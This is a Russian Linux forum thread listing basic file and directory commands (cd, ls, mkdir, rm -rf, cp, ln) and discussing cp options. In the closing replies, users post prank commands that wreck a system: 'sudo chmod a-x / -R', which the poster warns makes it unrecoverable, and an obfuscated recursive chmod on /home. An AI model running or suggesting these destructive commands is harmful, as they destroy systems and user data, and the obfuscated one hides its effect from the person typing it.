Команда IT специалистов выполнит подготовку инфраструктуры для вашего бизнеса.
Внедрение самых передовых решений и технологий.
Поддержка и сопровождение ваших сервисов.
Выполнение работ под "ключ", от покупки сервера, до настройки автоматизации процессов.
8(977)608-78-62 adm@nixm.ru

Работа с файлами и директориями

Ответить
Аватара пользователя
ALEXX
Администратор
Администратор
Сообщения: 1327
Зарегистрирован: 21 дек 2014, 14:59
Откуда: Королёв
Контактная информация:

Работа с файлами и директориями

Сообщение ALEXX »

Код: Выделить всё

cd /home
перейти в директорию '/home' перейти в директорию уровнем выше

Код: Выделить всё

cd ../..
перейти в директорию двумя уровнями выше перейти в домашнюю директорию

Код: Выделить всё

cd ~user
перейти в домашнюю директорию пользователя user перейти в директорию, в которой находились до перехода в текущую директорию показать текущюю директорию отобразить содержимое текущей директории отобразить содержимое текущей директории с добавлением к именам символов, храктеризующих тип показать детализированое представление файлов и директорий в текущей директории показать скрытые файлы и директории в текущей директории

Код: Выделить всё

ls *[0-9]*
показать файлы и директории содержащие в имени цифры показать дерево файлов и директорий, начиная от корня (/)
lstree

Код: Выделить всё

mkdir dir1
создать директорию с именем dir1

Код: Выделить всё

mkdir dir1 dir2
создать две директории одновременно

Код: Выделить всё

mkdir -p /tmp/dir1/dir2
создать дерево директорий

Код: Выделить всё

rm -f file1
удалить файл с именем file1

Код: Выделить всё

rmdir dir1
удалить директорию с именем dir1

Код: Выделить всё

rm -rf dir1
удалить директорию с именем dir1 и рекурсивно всё её содержимое

Код: Выделить всё

rm -rf dir1 dir2
удалить две директории и рекурсивно их содержимое

Код: Выделить всё

mv dir1 new_dir
переименовать или переместить файл или директорию

Код: Выделить всё

cp file1 file2
сопировать файл file1 в файл file2

Код: Выделить всё

cp dir/* .
копировать все файлы директории dir в текущую директорию

Код: Выделить всё

cp -a /tmp/dir1 .
копировать директорию dir1 со всем содержимым в текущую директорию

Код: Выделить всё

cp -a dir1 dir2
копировать директорию dir1 в директорию dir2

Код: Выделить всё

ln -s file1 lnk1
создать символическую ссылку на файл или директорию

Код: Выделить всё

ln file1 lnk1
создать "жёсткую" (физическую) ссылку на файл или директорию

Код: Выделить всё

touch -t 0712250000 fileditest
модифицировать дату и время создания файла, при его отсутствии, создать файл с указанными датой и временем (YYMMDDhhmm)
Аватара пользователя
Kycok
Уважаемый участник
Уважаемый участник
Сообщения: 280
Зарегистрирован: 16 янв 2015, 06:53
Откуда: Санкт-Петербург
Контактная информация:

Re: Работа с файлами и директориями

Сообщение Kycok »

Есть хорошая обоина с командами. Скачать можно здесь
Аватара пользователя
Packum
Активный участник
Активный участник
Сообщения: 172
Зарегистрирован: 18 янв 2015, 15:03
Откуда: С.Петербург

Re: Работа с файлами и директориями

Сообщение Packum »

Что-то забыл как архивы копировать. Какой ключ ставить -a или -b? Раньше вроде всё нормально было, - теперь с -a пишет:
не удалось сохранить владельца «/media/flash/Vektor.part01.rar»: Операция не позволена
Или фик с ним?
Ничего не скопировалось ни с -a ни с -b ни с -r. Как я раньше то копировал? :oops: :cry:
Хм, всё скопировалось оказывается, но Gentoo ничего не видит :shock:
Копирую заново на другом дистре от греха подальше.
Шпак Дмитрий
Местный говорун
Местный говорун
Сообщения: 579
Зарегистрирован: 19 янв 2015, 15:56
Откуда: Russian_federation, какой то

Re: Работа с файлами и директориями

Сообщение Шпак Дмитрий »

http://www.ibm.com/developerworks/ru/li ... -v3-103-3/ хорошее описание от IBM, хотя тоже не полное. Кажется в Unix полного описания работы с файлами написать не возможно.
Аватара пользователя
Oleg65
Местный говорун
Местный говорун
Сообщения: 859
Зарегистрирован: 18 янв 2015, 10:56
Откуда: г.Коломна Моск.обл.

Re: Работа с файлами и директориями

Сообщение Oleg65 »

Тонкости команды cp. Для копирования простых файлов - все просто:

Код: Выделить всё

cp копируемый_файл  имя_копии_файла
cp a.txt  b.txt
здесь при копировании файла a.txt будет создана копия этого файла с именем b.txt. Это если копирование происходит в текущей директории (т.е. оба файла находятся в одной директории. Если необходимо скопировать файл из одной директории в другую, то указываем пути исходный и назначения. Например:

Код: Выделить всё

cp ~/oleg/a.txt .
Копируем из домашней директории в текущую. Имя файла, в этом случае, будет тем же.
Скопировать целую директорию со всем содержимым можно используя опции -r, -R. Почему существуют для одной утилиты две одинаковые опции? -R - будет работать на всех ОС. -r, на некоторых ОС может не работать, и копирует символические ссылки, как простые файлы.
Есть маленькая тонкость - если целевая директория уже существует, то в ней создается поддиректория, с именем исходной директории, и уже в нее копируется все содержимое исходной директории. Если целевая директория не существует (еще не создана), то создается новая директория, куда и копируется все содержимое исходной директории, но не сама директория.
Кроме того: Если последний аргумент является существующим каталогом, то cp копирует каждый исходный файл в этот каталог (сохраняя имена). В противном случае, если задано только два файла, то cp копирует первый файл во второй. Права доступа к файлам и директориям будут такими же, как и у оригинальных файлов, но в новых правах будут сброшены биты sticky, setuid и setgid. Ну, в кратце, как-то так. :? Дополняйте. И, важно, при копировании в целевой файл - он не дописывается, т.е. в него не добавляется, а переписывается!!! Это нужно помнить и при архивировании!
Olej

Re: Работа с файлами и директориями

Сообщение Olej »

Работа с файлами и директориями
Вот хорошая команда ... работы с файлами и директориями:

Код: Выделить всё

$ sudo chmod a-x / -R
Только попробовать её можно только 1 раз, потому что после этого система уничтожена дотла и восстановлению не подлежит :shock:
Аватара пользователя
ВолшебныйПомошник
Молчаливый гость
Молчаливый гость
Сообщения: 7
Зарегистрирован: 16 апр 2017, 22:25

Re: Работа с файлами и директориями

Сообщение ВолшебныйПомошник »

Намного круче сделать вот так
b=$((1000-333));chmod -R $b /home
Пруф команда.
Ответить

Вернуться в «Командная строка»